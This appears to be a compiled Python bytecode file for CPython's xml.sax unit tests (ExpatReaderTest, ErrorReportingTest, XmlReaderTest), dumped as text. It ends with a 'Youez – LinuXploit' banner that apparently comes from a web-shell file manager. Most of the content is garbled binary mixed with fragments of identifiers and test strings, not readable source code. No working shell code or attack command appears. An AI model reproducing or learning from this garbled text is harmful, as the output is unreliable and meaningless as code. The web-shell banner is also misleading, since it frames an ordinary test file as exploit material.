tdf|�|j|jtdf�d�|j|jtdfd�d�|jt|j��tdfdfg�|jt|j��dg�|j|jtdf�d�|j|tdfd�dS)Nr7z"<doc xmlns:ns='%s' ns:attr='val'/>rzns:attrr8r)rrBr�r6r5r�rAr&r'r(rkr)r*r9r.r,r/r0r!)r1r�rCrr2r2r3�test_expat_nsattrs_wattrs$
z(ExpatReaderTest.test_expat_nsattrs_wattrcCs<t�}t�}t|�}|j|�|jt�|j|j�t�dS)N)	rrrr�rNrr&rPr)r1r�rRrr2r2r3�test_expat_inpsource_filename3s

z-ExpatReaderTest.test_expat_inpsource_filenamecCs@t�}t�}t|�}|j|�|jtt��|j|j�t	�dS)N)
rrrr�rNrrr&rPr)r1r�rRrr2r2r3�test_expat_inpsource_sysid=s
z*ExpatReaderTest.test_expat_inpsource_sysidcCs`tj}tjt|�|jtj|�t�}t�}t	|�}|j
|�|jt|��|j
|j�t�dS)N)rrrrrr
rLrrrr�rNrr&rPr)r1r
r�rRrr2r2r3�#test_expat_inpsource_sysid_nonasciiGs
z3ExpatReaderTest.test_expat_inpsource_sysid_nonasciic
Csbt�}t�}t|�}|j|�t�}ttd��}|j|�|j|�WdQRX|j	|j
�t�dS)Nrb)rrrr�rrGrrdrNr&rPr)r1r�rRrr=rIr2r2r3� test_expat_inpsource_byte_streamVs

z0ExpatReaderTest.test_expat_inpsource_byte_streamc
Csft�}t�}t|�}|j|�t�}ttddd��}|j|�|j|�WdQRX|j	|j
�t�dS)Nrz
iso-8859-1)r?)rrrr�rrGrr�rNr&rPr)r1r�rRrr=rIr2r2r3�%test_expat_inpsource_character_streamcs

z5ExpatReaderTest.test_expat_inpsource_character_streamcCsRt�}t|�}t�}|j|�|jd�|jd�|j�|j|j�td�dS)Nz<doc>z</doc>s<doc></doc>)	rrrr�r6r�r&rPr)r1rRrr�r2r2r3�test_expat_incrementalrs


z&ExpatReaderTest.test_expat_incrementalcCs�t�}t|�}t�}|j|�|jd�|jd�t�}t|�}|j|�|j�|jd�|jd�|jd�|j�|j|j�t	d�dS)Nz<doc>�textz</doc>s<doc>text</doc>)
rrrr�r6�resetr�r&rPr)r1rRrr�r2r2r3�test_expat_incremental_reset~s






z,ExpatReaderTest.test_expat_incremental_resetcCsnt�}t|�}t�}|j|�|jd�|jd�|j�|j|j�d�|j|j�d�|j|j	�d�dS)Nz<doc>z</doc>r7)
rrrr�r6r�r&�getSystemId�getPublicId�
getLineNumber)r1rRrr�r2r2r3�test_expat_locator_noinfo�s


z)ExpatReaderTest.test_expat_locator_noinfocCsLt�}t|�}t�}|j|�|jt�|j|j�t�|j|j�d�dS)N)	rrrr�rNrr&rQrR)r1rRrr�r2r2r3�test_expat_locator_withinfo�s

z+ExpatReaderTest.test_expat_locator_withinfocCsltj}tjt|�|jtj|�t�}t|�}t	�}|j
|�|j|�|j|j
�|�|j|j�d�dS)N)rrrrrr
rLrrrr�rNr&rQrR)r1r
rRrr�r2r2r3�$test_expat_locator_withinfo_nonascii�s

z4ExpatReaderTest.test_expat_locator_withinfo_nonasciiN)!r;r<r=rr�requires_nonascii_filenamesrr r$r,r1r7r;r<r>r?r@rrBrDrErFrGrHrIrJrKrLrMrPrTrUrVr2r2r2r3rDs8







rc@s2eZdZdd�Zdd�Zdd�ZGdd�d�Zd	S)
�ErrorReportingTestcCs�t�}|jt��t�}|jtd��d}|j|�y|j|�|j�Wn2t	k
r|}z|j
|j�|�WYdd}~XnXdS)Ns<foo bar foobar>za file name)rr�rrrdrr.rNZfailrr&rQ)r1r�r/rr�r2r2r3�test_expat_inpsource_location�s

z0ErrorReportingTest.test_expat_inpsource_locationcCsJt�}|jt��|jt|jtd��|j|j�d�|j|j	�d�dS)Nz<foo>�r7)
rr�rrrrNrr&�getColumnNumberrS)r1r�r2r2r3�test_expat_incomplete�s
z(ErrorReportingTest.test_expat_incompletecCsdttdd|jdd���ttdd|jdd���ttdd|jdd���ttdd|jdd���dS)N�messager7)�strr�DummyLocator)r1r2r2r3�test_sax_parse_exception_str�sz/ErrorReportingTest.test_sax_parse_exception_strc@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)zErrorReportingTest.DummyLocatorcCs||_||_dS)N)�_lineno�_colno)r1�lineno�colnor2r2r3r'�sz(ErrorReportingTest.DummyLocator.__init__cCsdS)NZpubidr2)r1r2r2r3rR�sz+ErrorReportingTest.DummyLocator.getPublicIdcCsdS)NZsysidr2)r1r2r2r3rQ�sz+ErrorReportingTest.DummyLocator.getSystemIdcCs|jS)N)ra)r1r2r2r3rS�sz-ErrorReportingTest.DummyLocator.getLineNumbercCs|jS)N)rb)r1r2r2r3r[�sz/ErrorReportingTest.DummyLocator.getColumnNumberN)r;r<r=r'rRrQrSr[r2r2r2r3r_�s
r_N)r;r<r=rYr\r`r_r2r2r2r3rX�s
rXc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�
XmlReaderTestcCs|jti��dS)N)r4r)r1r2r2r3�test_attrs_emptyszXmlReaderTest.test_attrs_emptycCs|jtddi��dS)Nrr8)r:r)r1r2r2r3�test_attrs_wattrszXmlReaderTest.test_attrs_wattrcCs|jtii��dS)N)r6r)r1r2r2r3�test_nsattrs_empty
sz XmlReaderTest.test_nsattrs_emptycCsZttdfditdfdi�}|j|j�d�|j|j�tdfg�|j|j�dg�|jt|�d�|jtdf|�|jt|j	��tdfg�|j|j
tdf�d�|j|j
tdfd�d�|jt|j��tdfdfg�|jt|j��dg�|j|j
tdf�d�|j|jd�d�|j|jd�tdf�|j|tdfd�|j|jtdf�d�dS)Nrr8zns:attrr7r)rr5r&r'r(r)r*r9r,r-r.r/r0r!r"r#r$)r1rr2r2r3�test_nsattrs_wattr
s"z XmlReaderTest.test_nsattrs_wattrN)r;r<r=rfrgrhrir2r2r2r3resrec
Cs"tttttttttt	t
tt�dS)N)
rr~rKr�r�r�r�r�rrrrXrer2r2r2r3�	test_main"srj�__main__)N).).)QrOrrrrrZunittestrZSkipTestZxml.sax.saxutilsrr	r
rrr
Zxml.sax.expatreaderrZxml.sax.handlerrrZxml.sax.xmlreaderrrr�iorrr�gcZos.pathrrZurllib.errorrr�rZtest.supportrrrrZTEST_XMLFILE_OUTrB�UnicodeEncodeErrorZsupports_nonascii_filenames�path�supports_unicode_filenamesrZTESTFN_ENCODING�UnicodeError�	TypeErrorZ
skipUnlessrWr5ZTestCaserr@rDrJrKr~r�r�r�r�r�r�rrrrrGrIr�rrrXrerjr;r2r2r2r3�<module>s�
 


5


x4Lc>!


Youez - 2016 - github.com/yon3zu
LinuXploit